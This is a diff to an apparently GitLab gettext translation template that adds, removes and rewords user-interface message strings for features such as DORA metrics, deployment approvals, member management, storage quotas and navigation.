+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
